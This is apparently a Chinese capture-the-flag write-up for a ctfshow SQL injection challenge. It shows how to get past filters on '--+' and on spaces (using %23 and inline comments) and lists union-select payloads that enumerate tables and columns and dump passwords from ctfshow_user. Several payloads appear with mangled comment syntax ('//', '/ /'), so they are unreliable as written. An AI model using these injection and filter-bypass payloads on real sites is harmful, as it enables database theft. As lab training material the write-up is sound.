这题跟176类似我们先正常进行SQL注入
在payload为1'时可正常回显但是当payload加上--+注释时却不会回显,所以我们猜测过滤了--+,我们用%23代替试试看

发现此时正常然后继续正常的SQL注入操作

在测试字段数时又发生了没有回显的情况我们猜测现在除了对--+的过滤外还有别的过滤,通关尝试发现是对空格进行了过滤,我们使用内联注释过滤
很多 Web 应用的 WAF(Web 应用防火墙)或后端代码会使用简单的正则表达式或黑名单来过滤敏感关键字(例如 SELECT、UNION、WHERE、空格等)。内联注释绕过的原理主要利用了以下两点:
替换空格:数据库解释器会将连续的注释块视为分隔符,从而可以用注释代替空格。
数据库解析特性:部分数据库(尤其是 MySQL)对内联注释有特殊的扩展语法,允许注释内部的代码被正常执行,但防护规则可能会漏报。
- 常见使用场景
(1) 绕过空格过滤
当后端代码过滤了空格、%20 或 + 时,可以使用内联注释 // 代替空格
我们尝试使用/ /来绕过

发现字段数为3
我们开始构造payload:-1'//union/ /select/**/1,database(),3%23

-1'union//select/ /1,table_name,3//from/ /information_schema.tables//where/ /table_schema=database()%23

-1'union//select/ /1,column_name,3//from/ /information_schema.columns//where//table_name='ctfshow_user'%23

-1'union//select/ /1,'hack',password//from//ctfshow_user%23

就得到了flag
最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+
是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义